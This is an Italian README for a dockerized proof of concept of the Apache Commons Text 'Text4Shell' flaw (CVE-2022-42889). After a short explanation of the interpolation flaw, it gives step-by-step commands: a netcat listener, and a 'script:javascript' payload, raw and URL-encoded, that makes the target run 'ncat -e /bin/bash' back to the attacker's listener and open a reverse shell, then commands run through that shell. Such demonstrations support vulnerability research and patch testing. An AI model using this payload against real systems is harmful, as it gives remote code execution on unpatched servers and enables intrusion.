
Una semplice applicazione dockerizzata che mostra come sfruttare la vulnerabilità CVE-2022-42889.
Proof of Concept per la vulnerabilità Apache commons-text CVE-2022-42889.
Apache Commons Text esegue l'interpolazione di variabili, consentendo di valutare ed espandere dinamicamente le proprietà. Il formato standard per l'interpolazione è "${prefix:name}", dove "prefix" viene utilizzato per individuare un'istanza di org.apache.commons.text.lookup.StringLookup che esegue l'interpolazione. A partire dalla versione 1.5 e fino alla 1.9, l'insieme delle istanze Lookup predefinite includeva interpolatori che potevano provocare l'esecuzione di codice arbitrario o il contatto con server remoti. Questi lookup sono: - "script" - esegue espressioni utilizzando il motore di esecuzione di script JVM (javax.script) - "dns" - risolve i record DNS - "url" - carica valori da URL, inclusi server remoti. Le applicazioni che utilizzano le interpolazioni predefinite nelle versioni interessate possono essere vulnerabili all'esecuzione di codice remoto o a contatti non intenzionali con server remoti se vengono utilizzati valori di configurazione non attendibili.
Apache Commons Text Versione 1.5 fino a 1.9
CVE-2022-42889-POC :docker build --tag=test/text4shell .
docker run -it -p 80:8080 --name text4shell test/text4shell
docker exec -it text4shell /bin/bash
nc -nlvp 8888
curl http://localhost/text4shell/attack?search=<anything>
L'attacco può essere eseguito passando una stringa "${prefix:name}" dove il prefisso è il lookup precedentemente menzionato: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D
pwd
cd /root
pwd
ls
pwd
cd /root
pwd
ls
touch hacked.txt
ls
pwd
ls
Se riesci a vedere il file hacked.txt nella Scheda 3 del terminale dopo il comando ls. L'attacco è stato eseguito.

Si consiglia agli utenti di aggiornare ad Apache Commons Text 1.10.0, che disabilita gli interpolatori problematici per impostazione predefinita.